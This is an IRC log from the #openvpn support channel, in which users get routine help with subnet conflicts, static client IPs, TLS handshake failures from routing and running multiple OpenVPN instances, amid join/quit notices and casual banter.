01:06 < hjohnson> since all well written code does is tell you what it *is* doing, not what it should be doing.
01:10 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 256 seconds]
01:14 -!- emmanuelux [~emmanuelu@94.23.70.250] has quit [Ping timeout: 245 seconds]
01:25 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Operation timed out]
01:30 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
01:54 -!- mete [~mete@mete.shell.la] has joined #openvpn
02:06 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
02:17 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 240 seconds]
02:20 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
02:26 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 256 seconds]
02:27 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
02:33 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Max SendQ exceeded]
02:35 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
02:35 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:40 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 264 seconds]
02:41 -!- The_Ball [~ballen@180.214.69.102] has quit [Remote host closed the connection]
02:42 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 252 seconds]
02:52 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:53 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
02:53 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
02:53 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:57 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
03:36 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has joined #openvpn
03:42 -!- mete [~mete@mete.shell.la] has quit [Quit: .]
03:43 -!- SparFux [~rli@e182018091.adsl.alicedsl.de] has joined #openvpn
03:44 < SparFux> Hello all. How about front ends to OpenVPN using protocols like jabber to exchange IP-adresses and keys to automatically set up OpenVPN connections?
03:46 -!- mete [~mete@mete.shell.la] has joined #openvpn
03:47 < EugeneKay> openvpn does not have a mesh mode(yet), and I am not aware of any such project like that.
03:48 -!- mete [~mete@mete.shell.la] has quit [Client Quit]
03:48 < EugeneKay> Maybe you're looking for the Tor network? It does something similar, but doesn't guarantee against bad nodes. You'd need to overlay something on top of it to guarantee each end's identity and secure the transport.
03:50 < SparFux> EugeneKay: I am thinking of a way for two ppl to easily connect their home PCs via OpenVPN (as it should be very solid and stable) by simply selecting buddies in a jabber buddy list.
03:51 < EugeneKay> Not aware of any such product.
03:51 < SparFux> EugeneKay: ok, I cannot find anything like it on the net, neither.
03:52 < SparFux> Using a javascript xmpp client in a browser would be a nice thing for it as it's platform independant and only openvpn would have to be installed in addition to it.
03:55 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
03:56 < EugeneKay> Ewww.
03:58 < hjohnson> what you're looking for is something along the lines of cisco's distributed vpn support
03:59 < hjohnson> er dynamic vpn, whatever they call it
04:02 < SparFux> Cisco® Dynamic Multipoint VPN (DMVPN). Sounds great, but it seems to be proprietary and it would not be easy to deliver it to somebody not involved with computer security like friends on facebook or the like. But nice thing, didn't knew it existed.
04:06 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has quit [Ping timeout: 268 seconds]
04:06 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has joined #openvpn
04:07 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection]
04:33 -!- allanx0 [allan@hijacked.us] has joined #openvpn
04:33 < allanx0> Hello need help with "iptables -t nat -A POSTROUTING -o venet0 -j MASQUERADE" the reply is iptables: No chain/target/match by that name.. Ive tried to rebuild the OS but still the same error. Anyone? Thanks
04:34 < allanx0> !openvpn
04:34 < allanx0> !firewall
04:34 <@vpnHelper> "firewall" is (#1) please see https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbBG for more info or (#2) see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for brief notes on disabling firewall rulesets.
04:34 < allanx0> !vpn
04:34 <@vpnHelper> "vpn" is http://openvpn.net/index.php/open-source/faq/75-general/293-what-is-the-principle-behind-openvpn-tunnels.html for a basic rundown of what a vpn is
04:43 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has quit [Ping timeout: 245 seconds]
04:44 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has joined #openvpn
04:52 -!- allanx0 [allan@hijacked.us] has left #openvpn []
04:53 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
04:57 -!- mete [~mete@mete.shell.la] has joined #openvpn
04:58 -!- rcx2 [~rcx2@wlan.vekoll.uni-pannon.hu] has joined #openvpn
04:58 < rcx2> Hi! I need some help to connect a TLS vpn server properly.
04:59 < rcx2> I mean ssl.
05:00 < rcx2> I set up an SSL openvpn server on a VPS. It works well. I can connect from home and from my college network too.
05:00 < hjohnson> rcx2: Ethernet cables work for that pretty well
05:01 < rcx2> If i connect from home i can access the internet as the server.
05:03 < rcx2> From dorm: It connects i can reach the server's apache on 10.8.0.1, but i can't reach other hosts.
05:04 < hjohnson> that doesn't make much sense
05:04 < rcx2> My local address is 10.0.x.x here. is it a possible problem?
05:04 < hjohnson> yes
05:05 < rcx2> I ask your opinion because i have no idea what is the problem. :) I know it makes no sense.
05:07 < rcx2> http://pastebin.com/SRVFxfiJ - client
05:08 -!- SparFux [~rli@e182018091.adsl.alicedsl.de] has left #openvpn ["PING 1371463946"]
05:09 < rcx2> http://pastebin.com/U6Eg7WeG - server
05:10 < rcx2> so i should change the TUN's address?
05:11 < hjohnson> admittedly, I'm not that familiar with this stuff as I should be, i'm mostly a neophyte with this, I know i've just had problems when there's an overlap conflict between my local subnet and the remote subnet addresses assigned vy the vpn
05:14 < rcx2> On the other hand it worked on my friends computer 1 week ago
05:14 < rcx2> when i tested it
05:14 < rcx2> here, in my dormitory
05:15 < rcx2> He is not here, so i can't test it again, maybe the different ip address or subnet cause it.
05:32 < rcx2> U must be right. There is a section in the openvpn howto about subnet conflicts.
05:33 < hjohnson> the fundamental flaw of using 1918 address space. :)
05:37 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has quit [Remote host closed the connection]
05:41 < rcx2> re
05:42 < rcx2> I changed it to 169.254.100.0 255.255.255.0.
05:43 < rcx2> Aaah, i forgot the iptables. :D
05:48 < rcx2> It's the same
05:49 < rcx2> i can reach my webserver on 169.254.0.1, nothing else
05:50 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
05:52 < hjohnson> well, 169 is link local and not designed for crossing routers
05:53 < rcx2> Did i choose wrong subnet?
05:54 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
05:54 < rcx2> What subnet do you prefer for this?
05:55 -!- Denial [~Denial@90.208.15.68] has joined #openvpn
05:58 < hjohnson> 172.16.1.x works for me, or whatever
05:58 < hjohnson> that's the 1918 that no one remembers
06:04 < rcx2> Ok, i have a friend without firewall to test the server if it even works
06:04 < rcx2> i'm gonna connect from the stricted network
06:05 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has joined #openvpn
06:07 -!- Devastator [~devas@186.214.14.167] has joined #openvpn
06:07 -!- Devastator [~devas@186.214.14.167] has quit [Changing host]
06:07 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
06:08 -!- z3r0c00l [~christoph@chello080108047208.34.11.vie.surfer.at] has joined #openvpn
06:11 < rcx2> If it works for him
06:11 < rcx2> and it does not for me
06:12 < rcx2> the problem is not with the subnet
06:12 < rcx2> (testing is in progress)
06:16 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
06:18 < hjohnson> dunno man
06:46 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
06:53 -!- rcx2 [~rcx2@wlan.vekoll.uni-pannon.hu] has quit [Ping timeout: 264 seconds]
06:55 < BtbN> Is it possible to reject pushed configs in a client config?
06:57 < EugeneKay> Sure. don't --pull
07:00 < z3r0c00l> hi, i have a question regarding static ip's of vpn clients. Is it possible for the client to change their ip address, i hope the server checks this and don't allow this. I want to restric the inidvidual users on basis of their IP address
07:01 < EugeneKay> !static
07:01 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
07:01 < EugeneKay> openvpn will reject traffic not from the correct source IP
07:07 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
07:08 -!- rcx2 [~rcx2@wlan.vekoll.uni-pannon.hu] has joined #openvpn
07:09 < rcx2> @hjohnson: subnet is successfully changed. It works with my friend's connection.
07:09 < z3r0c00l> @vpnHelper @EugeneKay: thanks. So "ifconfig-pool-persist" is not enough for a static ip, additionally i have to explicit push the correct ip to the client?
07:09 < EugeneKay> Yup.
07:09 < EugeneKay> !ipp
07:09 <@vpnHelper> "ipp" is (#1) the option --ifconfig-pool-persist ipp.txt does NOT create static ips or (#2) Note that the entries in this file are treated by OpenVPN as suggestions only, based on past associations between a common name and IP address. They do not guarantee that the given common name will always receive the given IP address. If you want guaranteed assignment, see !iporder and !static
07:11 < z3r0c00l> thanks!
07:13 -!- rcx2 [~rcx2@wlan.vekoll.uni-pannon.hu] has quit [Client Quit]
07:22 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
07:23 -!- EugeneKay [eugene@rfc2324.net] has quit [Ping timeout: 260 seconds]
07:23 -!- EugeneKay [eugene@rfc2324.net] has joined #openvpn
07:24 -!- kjs [~kjs@fedora/kjs] has quit [Ping timeout: 264 seconds]
07:24 -!- trumee [~parul@93.186.157.23] has quit [Ping timeout: 264 seconds]
07:25 -!- kjs [~kjs@li468-203.members.linode.com] has joined #openvpn
07:25 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has quit [Remote host closed the connection]
07:26 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
07:26 -!- trumee [~parul@93.186.157.23] has joined #openvpn
07:28 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
07:51 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
07:57 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
08:10 -!- baobeiiiii [~baobeiiii@192.73.240.212] has joined #openvpn
08:10 < baobeiiiii> whats the easiest/fastest way to block a client from connecting
08:10 -!- EugeneKay [eugene@rfc2324.net] has quit [Quit: ZNC - http://znc.sourceforge.net]
08:11 -!- EugeneKay [eugene@badcryp.to] has joined #openvpn
08:11 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
08:21 -!- baobeiiiii_ [~baobeiiii@192.73.240.212] has joined #openvpn
08:21 -!- baobeiiiii [~baobeiiii@192.73.240.212] has quit [Read error: Connection reset by peer]
08:22 -!- mattock_afk is now known as mattock
08:22 -!- fjutscha [~moros@dslb-084-056-113-238.pools.arcor-ip.net] has quit [Quit: Verlassend]
08:27 -!- baobeiiiii__ [~baobeiiii@192.73.240.212] has joined #openvpn
08:27 -!- baobeiiiii_ [~baobeiiii@192.73.240.212] has quit [Read error: Connection reset by peer]
08:28 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Ping timeout: 256 seconds]
08:29 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
08:43 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Ping timeout: 246 seconds]
08:43 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
08:51 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 252 seconds]
08:51 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Quit: Leaving]
08:51 -!- Brandano [~Brandano@pdpc/supporter/professional/brandano] has joined #openvpn
08:52 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Ping timeout: 256 seconds]
08:52 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
08:53 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
08:54 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
09:13 <@krzee> baobeiiiii__, fastest/easiest would be --disable in a ccd entry
09:13 <@krzee> !ccd
09:13 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
09:17 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
09:23 -!- takamichi [~takamichi@217.23.15.212] has quit [Read error: Connection reset by peer]
09:23 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Ping timeout: 256 seconds]
09:26 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:35 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
09:46 -!- razor1101 [~Anderson@unaffiliated/razor1101] has joined #openvpn
09:46 < razor1101> !goal
09:46 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
09:47 < razor1101> !welcome
09:47 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
09:47 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
09:58 -!- razor1101 [~Anderson@unaffiliated/razor1101] has quit [Ping timeout: 256 seconds]
10:13 -!- raidz_away is now known as raidz
10:17 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Ping timeout: 240 seconds]
10:29 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
10:30 -!- mikkel_ [~mikkel@109.202.158.84] has joined #openvpn
10:33 -!- midacts [~midacts@207.59.77.254] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- Organize your IRC]
10:34 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
10:34 -!- z3r0c00l [~christoph@chello080108047208.34.11.vie.surfer.at] has left #openvpn []
10:34 -!- jebba [~aleph@c-75-71-84-68.hsd1.co.comcast.net] has joined #openvpn
10:40 -!- TheWarden [~chatzilla@70.76.37.58] has joined #openvpn
10:55 -!- mikkel_ [~mikkel@109.202.158.84] has quit [Ping timeout: 276 seconds]
11:03 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
11:06 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
11:06 -!- mode/#openvpn [+o plaisthos] by ChanServ
11:10 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has quit [Ping timeout: 256 seconds]
11:14 -!- jebba [~aleph@c-75-71-84-68.hsd1.co.comcast.net] has quit [Quit: Leaving.]
11:16 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:16 -!- CAP5482 [~ircap@187.245.129.180] has joined #openvpn
11:17 < CAP5482> Hi All.
11:17 < CAP5482> Is there any way you can setup openvpn AS as a dd-wrt setup?
11:19 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 276 seconds]
11:21 <@krzee> !as
11:21 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
11:29 -!- p3rror [~p3rror@41.249.253.52] has quit [Remote host closed the connection]
11:41 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has joined #openvpn
11:43 -!- raidz is now known as raidz_away
11:47 -!- Brandano [~Brandano@pdpc/supporter/professional/brandano] has quit [Quit: tie to go]
11:52 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
12:08 -!- raidz_away is now known as raidz
12:14 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
12:18 -!- CAP5482 [~ircap@187.245.129.180] has quit [Ping timeout: 268 seconds]
12:33 -!- Devastator- [~devas@186.214.15.80] has joined #openvpn
12:34 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 240 seconds]
12:40 -!- emmanuelux [~emmanuelu@94.23.70.250] has joined #openvpn
13:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:16 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginmedia.com] has joined #openvpn
13:21 -!- Denial [~Denial@90.208.15.68] has quit []
13:34 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
13:56 -!- MorgyN [~mig@island.morgyn.org] has quit [Read error: Operation timed out]
13:56 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-nmzdvhgjfwlnxsnu] has quit [Ping timeout: 245 seconds]
13:56 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
13:56 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
13:57 -!- lmm [uid6417@gateway/web/irccloud.com/x-qfnrsrogaubpofcg] has quit [Ping timeout: 256 seconds]
13:57 -!- CEnnis91 [~uid3543@gateway/web/irccloud.com/x-iivprgmvbctxlyyp] has quit [Ping timeout: 260 seconds]
13:58 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
13:58 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-bxdkwiajcfhinkou] has quit [Ping timeout: 252 seconds]
13:58 -!- BtbN [znc@btbn.de] has quit [Ping timeout: 256 seconds]
13:59 -!- haasn [~nand@2a01:4f8:d13:5245::2] has quit [Read error: Operation timed out]
13:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
14:00 -!- Poster|w [poster@shell.bshellz.net] has quit [Ping timeout: 252 seconds]
14:01 -!- Poster|w [poster@144.76.77.158] has joined #openvpn
14:01 -!- BtbN [znc@btbn.de] has joined #openvpn
14:03 -!- haasn [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
14:05 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has quit [Ping timeout: 268 seconds]
14:09 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has joined #openvpn
14:11 -!- zamba [marius@flage.org] has quit [Read error: Operation timed out]
14:12 -!- nlopez_ [~quassel@198.211.102.196] has quit [Read error: Operation timed out]
14:14 -!- [fred] [fred@konfuzi.us] has joined #openvpn
14:16 -!- thalweg [~quassel@198.211.102.196] has joined #openvpn
14:16 -!- zamba [marius@flage.org] has joined #openvpn
14:19 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
14:21 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-gnmahawkwegtepyb] has joined #openvpn
14:23 -!- dazo is now known as dazo_afk
14:24 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 240 seconds]
14:24 -!- JAVACODER [~JAVACODER@2.190.44.156] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
14:28 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
14:30 -!- TheWarden [~chatzilla@70.76.37.58] has quit [Remote host closed the connection]
14:31 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
15:21 -!- master_of_master [~master_of@p4FF2411D.dip0.t-ipconnect.de] has joined #openvpn
15:24 -!- Devastator- [~devas@186.214.15.80] has quit [Changing host]
15:24 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
15:24 -!- Devastator- is now known as Devastator
15:24 -!- master_o1_master [~master_of@p4FF24DE4.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
15:31 -!- troj [~xxx@ip-static-94-242-205-4.as5577.net] has quit [Ping timeout: 256 seconds]
15:32 -!- troj [~xxx@94.242.205.4] has joined #openvpn
15:41 -!- patchie [~sdf@136.81-167-201.customer.lyse.net] has quit [Ping timeout: 252 seconds]
15:44 -!- mattock is now known as mattock_afk
15:44 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
15:45 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
15:47 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 268 seconds]
15:52 -!- patchie [~sdf@136.81-167-201.customer.lyse.net] has joined #openvpn
15:53 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 252 seconds]
15:54 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-txxpkgljhbchwipb] has joined #openvpn
15:55 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-cdjvobsazqrpsron] has joined #openvpn
15:56 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-tjkpfrwtipmsmqiw] has joined #openvpn
15:56 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Quit: Leaving]
15:57 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:57 -!- levifig [~levifig@spwn.co] has quit [Read error: Operation timed out]
15:59 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
15:59 -!- wykydtron [tassadar@persephone.darkness-reigns.net] has quit [Read error: Operation timed out]
16:01 -!- wykydtron [tassadar@persephone.darkness-reigns.net] has joined #openvpn
16:01 < patchie> Poster: i tried rightclick on the installfile and run as administrator
16:01 < patchie> same error
16:01 < patchie> or..no error..but it just freezes
16:01 < patchie> it stops at: "appended to PATH"
16:01 < patchie> trying to install openvpn-install-2.3.2-I001-x86_64.exe on my win7 64bit
16:02 -!- sauce [sauce@unaffiliated/sauce] has quit [Read error: Operation timed out]
16:02 -!- levifig [~levifig@spwn.co] has joined #openvpn
16:06 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
16:07 -!- mback2k_ [sbnc@2a00:1828:2000:378:1337:0:59ee:5431] has quit [Ping timeout: 245 seconds]
16:09 -!- EugeneKay [eugene@badcryp.to] has quit [Ping timeout: 245 seconds]
16:09 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
16:10 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
16:12 -!- mback2k_ [sbnc@89.238.84.46] has joined #openvpn
16:14 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
16:15 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Ping timeout: 245 seconds]
16:15 -!- EugeneKay [eugene@badcryp.to] has joined #openvpn
16:16 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
16:21 -!- dazo_afk [~dazo@114.201.9.46.customer.cdi.no] has joined #openvpn
16:21 -!- dazo_afk [~dazo@114.201.9.46.customer.cdi.no] has quit [Changing host]
16:21 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
16:21 -!- mode/#openvpn [+o dazo_afk] by ChanServ
16:21 -!- dazo_afk is now known as dazo
16:30 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
16:31 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 268 seconds]
16:43 -!- erry is now known as plush
16:43 -!- plush is now known as erry
16:45 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
16:45 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
16:49 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginmedia.com] has quit [Quit: Ex-Chat]
16:51 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
16:52 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
17:13 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
17:19 -!- pagios [~pagios@46.19.194.104] has joined #openvpn
17:19 < pagios> hello
17:20 < pagios> i am nto able to establish a handshake between my server and client: TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)
17:20 < pagios> LS Error: TLS handshake failed
17:23 < pagios> copied the keys/crt correctly and verfied validity too
17:23 < pagios> what could be the problem?
17:25 < pekster> Network connectivity, just as the error suggests. It's a generic "nothing happened in the timeout window, so you need to figure out why packet's weren't delivered" error
17:26 < pagios> pekster: can you guide me on how to start troubleshooting that?
17:26 < EugeneKay> /topic ;-)
17:27 < pekster> Check logs on both sides, then use more basic tools to verify the remote end is actually receiving your packets (ie: check firewalls, then use tcpdump to see what goes where)
17:27 < pagios> i remember it might be a problem of interface load balancing thing
17:28 < pagios> coz i am assigning 2 public ips on my machine
17:28 < pekster> Triangle routing will cause that type of issues, yes
17:28 < pagios> pekster: i recall you gave me a parameter to use
17:28 < pagios> it solved it..
17:28 < pekster> It's your responsibility to set up routing correctly before attempting to perform a TLS handshake
17:28 < pagios> i cant recall its name :)
17:28 < pekster> Binding locally perhaps?
17:28 < pekster> !local
17:28 <@vpnHelper> "local" is a flag for --redirect-gateway, Add the local flag if both OpenVPN machines are directly connected via a common subnet, such as with wireless.
17:28 < pekster> Um, no, not that
17:28 < pagios> correct :)
17:28 < pekster> The --local directive
17:29 < pagios> yes
17:29 < pagios> lovely
17:29 < EugeneKay> Pentagram routing is best routing
17:29 < pekster> See the manpage anyway to learn what it does and how to use it
17:29 < pagios> will do
17:29 < pekster> EugeneKay, Satanic demons optional? :)
17:29 < EugeneKay> In the name of OSPF I command you to spill the blood of the innocent
17:29 < pekster> Your other alternative is to multi-home properly in your routing
17:30 < pekster> Nah, some simple policy routing can fix that if this is a basic multi-uplink setup; LARTC is the de-facto guide to doing that on Linux
17:30 < EugeneKay> pekster / krzee , check out my newest hostmask. I think you guys will like it.
17:30 < pekster> Reminds me of "Bad Wolf"
17:31 < EugeneKay> Ha
17:32 < WinstonSmith> does that hostmask indicate heavy use of ROT13?
17:32  * WinstonSmith ducks
17:32 < pagios> read UDPv4 [ECONNREFUSED]: Connection refused (code=111) a bit better
17:33 < pagios> is that related to pusing routing rules from server to client?
17:33 < pekster> pagios: Nope, not at all; that's an indication the remote host as *actively* refused to send data to the client (via a TCP Reset packet, or an ICMP error)
17:33 < pekster> It's got nothing at all to do with authentication or pushed options
17:33 < pagios> write to TUN/TAP : Invalid argument (code=22)
17:33 < pagios> that from client side
17:34 < pekster> You've got some firewall issues (or possibly routing, depending on how things are set up)
17:34 < pagios> i used local directive on server in server.conf as: local myipaddress
17:36 < EugeneKay> Applied twice for maximum effect!
17:36 < pagios> lol
17:37 < pekster> connection refused is very simple: the remote end sent back a packet that says "You may not contact a service on this port."
17:37 < pagios> i think it is a routing problem
17:37 < pekster> A firewall can do that, or an un-firewalled host will return an ICMP-Port-Unreachable error if there is no service listening on it
17:37 < pagios> already seen that error few weeks ago :)
17:40 -!- hfp [~hfp@bas1-montreal07-1176499446.dsl.bell.ca] has joined #openvpn
17:40 < hfp> Hi guys, I am running CentOS 6.4 and I have an active and functioning OpenVPN server
17:40 < hfp> on the standard port
17:41 < hfp> I would also like the server to listen on port 443 TCP but I can't get both the standard port and 443 TCP to work at the same time
17:41 < hfp> If I put two config files, only the first one works
17:41 < EugeneKay> You need to run multiple instances of openvpn
17:41 < hfp> If I remove the first one then the second one works fine
17:41 < hfp> Yes, how do I do that with systemd?
17:42 < EugeneKay> Fuck if I know, but the standard CentOS packages' init scripts work just fine with multiple /etc/openvpn/$FOO.conf
17:43 < EugeneKay> Did yo uchange the subnet & tun device being used int he second config file?
17:43 < hfp> I changed the subnet yes but I don't think I changed the tun device
17:43 < hfp> They are both using tun0
17:43 < EugeneKay> Tada
17:44 < EugeneKay> Make one tun1
17:44 < pekster> If it's dynamically allocated it'll work, but yea, if you specify one it'll break
17:44 < pekster> 'dev tun' is fine, but 'dev tun1' on both is not
17:44 < hfp> Let me check the config files
17:44 < EugeneKay> Also, I guess it's the epel package, not the centos one. Unless oyu're using the openvpn.net repo
17:44 < pekster> The log should complain either way if it's not able to open the device
17:45 < hfp> Yes it's from epel
17:46 < hfp> I put dev tun on both conf files
17:46 < hfp> So it should dynamically create tun devices, right?
17:46 < pekster> Bounce both instances and it should play nice
17:46 < pekster> Right
17:47 -!- hfp [~hfp@bas1-montreal07-1176499446.dsl.bell.ca] has quit [Remote host closed the connection]
17:48 -!- hfp [~hfp@bas1-montreal07-1176499446.dsl.bell.ca] has joined #openvpn
17:48 < hfp> Ok it works I can connect
